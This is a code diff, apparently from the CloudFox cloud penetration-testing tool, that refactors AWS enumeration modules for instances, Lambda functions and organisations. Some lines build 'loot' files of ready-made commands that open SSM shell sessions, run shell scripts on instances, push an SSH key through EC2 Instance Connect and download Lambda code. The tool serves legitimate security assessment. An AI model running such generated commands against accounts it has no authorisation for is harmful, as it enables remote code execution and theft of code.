|
||||
} else {
|
||||
headlineName = fmt.Sprintf("%s", instance.ID)
|
||||
}
|
||||
|
||||
ssmCommands = ssmCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
|
||||
ssmCommands = ssmCommands + fmt.Sprintf("############## Instance: %s ##############\n", headlineName)
|
||||
ssmCommands = ssmCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
|
||||
|
||||
ssmCommands = ssmCommands + fmt.Sprintf("### SSM start-session to %s ###\n", headlineName)
|
||||
ssmCommands = ssmCommands + fmt.Sprintf("# You'll need the AWS CLI session manager plugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html\n")
|
||||
ssmCommands = ssmCommands + fmt.Sprintf("aws --profile $profile --region %s ssm start-session --target %s\n\n", instance.Region, instance.ID)
|
||||
ssmCommands = ssmCommands + fmt.Sprintf("### SSM send-command to %s ###\n", headlineName)
|
||||
ssmCommands = ssmCommands + fmt.Sprintf("# If you just want to run one command you can use send-command, but really, start-session is way easier\n")
|
||||
ssmCommands = ssmCommands + fmt.Sprintf("aws --profile $profile --region %s ssm send-command --instance-ids %s --document-name AWS-RunShellScript --parameters commands=\"aws sts get-caller-identity\" \n", instance.Region, instance.ID)
|
||||
ssmCommands = ssmCommands + fmt.Sprintf("aws --profile $profile --region %s ssm get-command-invocation --output text --instance-id %s --command-id <command-id-from-previous-command>\n\n", instance.Region, instance.ID)
|
||||
|
||||
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
|
||||
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("############## Instance: %s ##############\n", headlineName)
|
||||
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
|
||||
|
||||
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("### EC2 Instance Connect to %s ###\n", instance.ID)
|
||||
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("# You'll need to change the --instance-os-user and --ssh-public-key parameters to match your own setup\n")
|
||||
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("aws --profile $profile --region %s ec2-instance-connect send-ssh-public-key --instance-id %s --instance-os-user ec2-user --ssh-public-key file://~/.ssh/id_rsa.pub\n\n", instance.Region, instance.ID)
|
||||
|
||||
}
|
||||
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
|
||||
if err != nil {
|
||||
@@ -299,16 +388,42 @@ func (m *InstancesModule) writeLoot(outputDirectory string) {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
err = os.WriteFile(ssmCommandsFilename, []byte(ssmCommands), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
err = os.WriteFile(ec2InstanceConnectCommandsFilename, []byte(ec2InstanceConnectCommands), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), publicIPsFilename)
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), ssmCommandsFilename)
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), ec2InstanceConnectCommandsFilename)
|
||||
|
||||
if verbosity > 2 {
|
||||
fmt.Println()
|
||||
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Loot file for instance command:"))
|
||||
fmt.Printf("Private IPs:\n\n")
|
||||
fmt.Print(privateIPs)
|
||||
fmt.Printf("Public IPs:\n\n")
|
||||
fmt.Print(publicIPs)
|
||||
fmt.Printf("SSM Commands:\n\n")
|
||||
fmt.Print(ssmCommands)
|
||||
fmt.Printf("EC2 Instance Connect Commands:\n\n")
|
||||
fmt.Print(ec2InstanceConnectCommands)
|
||||
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg *sync.WaitGroup, dataReceiver chan MappedInstance) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
@@ -437,6 +552,7 @@ func (m *InstancesModule) loadInstanceData(instance types.Instance, region strin
|
||||
dataReceiver <- MappedInstance{
|
||||
ID: aws.ToString(instance.InstanceId),
|
||||
Name: aws.ToString(&name),
|
||||
Arn: fmt.Sprintf("arn:aws:ec2:%s:%s:instance/%s", region, aws.ToString(accountId), aws.ToString(instance.InstanceId)),
|
||||
AvailabilityZone: aws.ToString(instance.Placement.AvailabilityZone),
|
||||
State: string(instance.State.Name),
|
||||
ExternalIP: externalIP,
|
||||
@@ -458,7 +574,7 @@ func (m *InstancesModule) getRolesFromInstanceProfiles() {
|
||||
m.InstanceProfileToRolesMap = map[string][]iamTypes.Role{}
|
||||
|
||||
for PaginationControl {
|
||||
ListInstanceProfiles, err := m.IAMListInstanceProfilesClient.ListInstanceProfiles(
|
||||
ListInstanceProfiles, err := m.IAMClient.ListInstanceProfiles(
|
||||
context.TODO(),
|
||||
&(iam.ListInstanceProfilesInput{
|
||||
Marker: PaginationMarker,
|
||||
|
||||
+620
-504
File diff suppressed because it is too large.
Load diff
+105
-37
@@ -9,9 +9,10 @@ import (
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
"github.com/aws/aws-sdk-go-v2/service/lambda"
|
||||
"github.com/aws/aws-sdk-go-v2/service/lambda/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
@@ -21,8 +22,8 @@ import (
|
||||
|
||||
type LambdasModule struct {
|
||||
// General configuration data
|
||||
LambdaClient *lambda.Client
|
||||
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
|
||||
LambdaClient *lambda.Client
|
||||
IAMClient sdk.AWSIAMClientInterface
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
@@ -55,6 +56,7 @@ type Lambda struct {
|
||||
}
|
||||
|
||||
func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string, verbosity int) {
|
||||
|
||||
// These stuct values are used by the output module
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
@@ -68,15 +70,15 @@ func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating lambdas for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
if m.pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
// if m.pmapperError != nil {
|
||||
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
@@ -121,14 +123,23 @@ func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string
|
||||
<-receiverDone
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
//"Type",
|
||||
"Resource Arn",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
if m.pmapperError == nil {
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
"Resource",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
"Resource",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
}
|
||||
}
|
||||
|
||||
sort.Slice(m.Lambdas, func(i, j int) bool {
|
||||
@@ -138,26 +149,57 @@ func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string
|
||||
// Table rows
|
||||
for i := range m.Lambdas {
|
||||
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Lambdas[i].AWSService,
|
||||
m.Lambdas[i].Region,
|
||||
//m.Lambdas[i].Type,
|
||||
m.Lambdas[i].Name,
|
||||
m.Lambdas[i].Role,
|
||||
m.Lambdas[i].Admin,
|
||||
m.Lambdas[i].CanPrivEsc,
|
||||
//m.Lambdas[i].Public,
|
||||
},
|
||||
)
|
||||
if m.pmapperError == nil {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Lambdas[i].AWSService,
|
||||
m.Lambdas[i].Region,
|
||||
//m.Lambdas[i].Type,
|
||||
m.Lambdas[i].Name,
|
||||
m.Lambdas[i].Role,
|
||||
m.Lambdas[i].Admin,
|
||||
m.Lambdas[i].CanPrivEsc,
|
||||
//m.Lambdas[i].Public,
|
||||
},
|
||||
)
|
||||
} else {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Lambdas[i].AWSService,
|
||||
m.Lambdas[i].Region,
|
||||
//m.Lambdas[i].Type,
|
||||
m.Lambdas[i].Name,
|
||||
m.Lambdas[i].Role,
|
||||
m.Lambdas[i].Admin,
|
||||
//m.Lambdas[i].CanPrivEsc,
|
||||
//m.Lambdas[i].Public,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.writeLoot(m.output.FilePath, verbosity)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s lambdas found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No lambdas found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
@@ -169,7 +211,7 @@ func (m *LambdasModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("lambda", r)
|
||||
if err != nil {
|
||||
@@ -219,7 +261,7 @@ func (m *LambdasModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s lambda get-function --function-name %s\n", function.Region, function.Name)
|
||||
out = out + "# Download function code to to disk (requires jq and curl) \n"
|
||||
out = out + fmt.Sprintf("mkdir -p ./lambdas/%s\n", function.Name)
|
||||
out = out + fmt.Sprintf("url=`aws --profile $profile lambda get-function --region %s --function-name %s | jq .Code.Location | sed s/\"//g` && curl \"$url\" -o ./lambdas/%s.zip\n", function.Region, function.Name, function.Name)
|
||||
out = out + fmt.Sprintf("url=`aws --profile $profile lambda get-function --region %s --function-name %s | jq .Code.Location | sed s/\\\"//g` && curl \"$url\" -o ./lambdas/%s.zip\n", function.Region, function.Name, function.Name)
|
||||
}
|
||||
err = os.WriteFile(pullFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
@@ -293,7 +335,7 @@ func (m *LambdasModule) listFunctions(r string) ([]types.FunctionConfiguration,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return functions, err
|
||||
}
|
||||
@@ -308,3 +350,29 @@ func (m *LambdasModule) listFunctions(r string) ([]types.FunctionConfiguration,
|
||||
}
|
||||
return functions, nil
|
||||
}
|
||||
|
||||
func (m *LambdasModule) getResourcePolicy(r string, functionName string) (policy.Policy, error) {
|
||||
var projectPolicy policy.Policy
|
||||
var policyJSON string
|
||||
Policy, err := m.LambdaClient.GetPolicy(
|
||||
context.TODO(),
|
||||
&lambda.GetPolicyInput{
|
||||
FunctionName: &functionName,
|
||||
},
|
||||
func(options *lambda.Options) {
|
||||
options.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return projectPolicy, err
|
||||
}
|
||||
|
||||
policyJSON = aws.ToString(Policy.Policy)
|
||||
projectPolicy, err = policy.ParseJSONPolicy([]byte(policyJSON))
|
||||
if err != nil {
|
||||
return projectPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", functionName, err)
|
||||
}
|
||||
return projectPolicy, nil
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
+290
@@ -0,0 +1,290 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/organizations/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/kyokomi/emoji"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type OrgModule struct {
|
||||
OrganizationsClient sdk.OrganizationsClientInterface
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
SkipAdminCheck bool
|
||||
WrapTable bool
|
||||
DescribeOrgOutput *types.Organization
|
||||
|
||||
// Main module data
|
||||
Accounts []Account
|
||||
Orgs map[string]Org
|
||||
CommandCounter internal.CommandCounter
|
||||
// Used to store output data for pretty printing
|
||||
output internal.OutputData2
|
||||
modLog *logrus.Entry
|
||||
}
|
||||
|
||||
type Org struct {
|
||||
OrgId string
|
||||
MgmtAccount string
|
||||
ChildAccounts []Account
|
||||
}
|
||||
|
||||
type Account struct {
|
||||
ProfileName string
|
||||
isManagementAccount bool
|
||||
Name string
|
||||
Id string
|
||||
Email string
|
||||
Arn string
|
||||
Status string
|
||||
OrgId string
|
||||
}
|
||||
|
||||
func (m *OrgModule) PrintOrgAccounts(outputFormat string, outputDirectory string, verbosity int) {
|
||||
// These stuct values are used by the output module
|
||||
var err error
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
m.output.CallingModule = "org"
|
||||
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Checking if account %s is the management account in an organization.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
m.DescribeOrgOutput, err = sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Errorf("Failed to describe organization: %s", err)
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
m.modLog.Errorf("Failed to describe organization: %s", err)
|
||||
fmt.Printf("[%s][%s] Account %s is either not associated with an organization, or you do not have the organizations:DescribeOrganization permission.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
} else {
|
||||
|
||||
if m.IsManagementAccount(m.DescribeOrgOutput, aws.ToString(m.Caller.Account)) {
|
||||
m.addOrgAccounts()
|
||||
} else {
|
||||
m.addOrgAccount()
|
||||
//fmt.Printf("[%s][%s] Account %s is not the management account in an organization %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
}
|
||||
|
||||
m.output.Headers = []string{
|
||||
"Name",
|
||||
"ID",
|
||||
"isManagementAccount?",
|
||||
"Status",
|
||||
"Email",
|
||||
}
|
||||
|
||||
// Table rows
|
||||
|
||||
for i := range m.Accounts {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Accounts[i].Name,
|
||||
m.Accounts[i].Id,
|
||||
strconv.FormatBool(m.Accounts[i].isManagementAccount),
|
||||
m.Accounts[i].Status,
|
||||
m.Accounts[i].Email,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
//m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %d accounts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(m.output.Body))
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *OrgModule) ProcessMultipleAccounts(AWSProfiles []string, version string) {
|
||||
var seenOrgs []string
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
|
||||
|
||||
//create a channel to receive the objects
|
||||
dataReceiver := make(chan Account)
|
||||
|
||||
// Create a channel to signal to stop
|
||||
receiverDone := make(chan bool)
|
||||
|
||||
// Create a channel to signal to stop
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
for _, profile := range AWSProfiles {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
go m.FindMgmtAccounts(profile, version, wg, semaphore, dataReceiver)
|
||||
|
||||
wg.Wait()
|
||||
|
||||
// Send a message to the spinner goroutine to close the channel and stop
|
||||
spinnerDone <- true
|
||||
<-spinnerDone
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
orgId := aws.ToString(m.DescribeOrgOutput.Id)
|
||||
// if this orgId is not in seenOrgs, add it to seenOrgs
|
||||
if !internal.Contains(orgId, seenOrgs) {
|
||||
seenOrgs = append(seenOrgs, orgId)
|
||||
// add this org to the Orgs map
|
||||
Org := Org{
|
||||
OrgId: orgId,
|
||||
}
|
||||
m.Orgs[orgId] = Org
|
||||
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
|
||||
isMgmtAccount := m.IsManagementAccount(m.DescribeOrgOutput, aws.ToString(m.Caller.Account))
|
||||
if isMgmtAccount {
|
||||
mgmtAccount := aws.ToString(m.Caller.Account)
|
||||
fmt.Printf("[%s] Found an Organization Management Account: %s\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", version)), mgmtAccount)
|
||||
//mgmtAccounts[mgmtAccount] = append(mgmtAccounts[mgmtAccount], profile)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *OrgModule) Receiver(receiver chan Account, receiverDone chan bool) {
|
||||
defer close(receiverDone)
|
||||
for {
|
||||
select {
|
||||
case data := <-receiver:
|
||||
m.Accounts = append(m.Accounts, data)
|
||||
case <-receiverDone:
|
||||
receiverDone <- true
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *OrgModule) FindMgmtAccounts(profile string, version string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Account) {
|
||||
var err error
|
||||
|
||||
DescribeOrganization, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Errorf("Failed to describe organization: %s", err)
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
dataReceiver <- Account{
|
||||
isManagementAccount: m.IsManagementAccount(DescribeOrganization, aws.ToString(m.Caller.Account)),
|
||||
Name: aws.ToString(m.Caller.Account),
|
||||
Id: aws.ToString(m.Caller.Account),
|
||||
Status: "ACTIVE",
|
||||
Email: aws.ToString(m.Caller.Account),
|
||||
OrgId: aws.ToString(DescribeOrganization.Id),
|
||||
Arn: aws.ToString(m.Caller.Account),
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *OrgModule) IsManagementAccount(Organization *types.Organization, account string) bool {
|
||||
// Check if the account is the management account
|
||||
// https://docs.aws.amazon.com/organizations/latest/APIReference/API_DescribeOrganization.html
|
||||
if aws.ToString(Organization.MasterAccountId) == account {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (m *OrgModule) addOrgAccounts() {
|
||||
accounts, err := sdk.CachedOrganizationsListAccounts(m.OrganizationsClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
for _, account := range accounts {
|
||||
m.Accounts = append(m.Accounts, Account{
|
||||
isManagementAccount: m.IsManagementAccount(m.DescribeOrgOutput, aws.ToString(account.Id)),
|
||||
Name: aws.ToString(account.Name),
|
||||
Id: aws.ToString(account.Id),
|
||||
Email: aws.ToString(account.Email),
|
||||
Arn: aws.ToString(account.Arn),
|
||||
Status: string(account.Status),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func (m *OrgModule) addOrgAccount() {
|
||||
DescribeOrganization, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
sharedLogger.Errorf("Failed to describe organization: %s", err)
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
m.Accounts = append(m.Accounts, Account{
|
||||
isManagementAccount: true,
|
||||
Name: "Mgmt Account",
|
||||
Id: aws.ToString(DescribeOrganization.MasterAccountId),
|
||||
Email: aws.ToString(DescribeOrganization.MasterAccountEmail),
|
||||
Arn: aws.ToString(DescribeOrganization.MasterAccountArn),
|
||||
Status: "ACTIVE",
|
||||
})
|
||||
m.Accounts = append(m.Accounts, Account{
|
||||
isManagementAccount: false,
|
||||
Name: "This account",
|
||||
Id: aws.ToString(m.Caller.Account),
|
||||
Email: "Unkonwn",
|
||||
Arn: aws.ToString(m.Caller.Arn),
|
||||
Status: "ACTIVE",
|
||||
})
|
||||
}
|
||||
|
||||
func (m *OrgModule) IsCallerAccountPartOfAnOrg() bool {
|
||||
DescribeOrgOutput, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
sharedLogger.Errorf("Failed to describe organization: %s", err)
|
||||
return false
|
||||
} else {
|
||||
m.DescribeOrgOutput = DescribeOrgOutput
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -190,10 +190,26 @@ func (m *OutboundAssumedRolesModule) PrintOutboundRoleTrusts(days int, outputFor
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
//m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s log entries found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
//m.writeLoot()
|
||||
@@ -219,7 +235,7 @@ func (m *OutboundAssumedRolesModule) Receiver(receiver chan OutboundAssumeRoleEn
|
||||
func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
|
||||
defer wg.Done()
|
||||
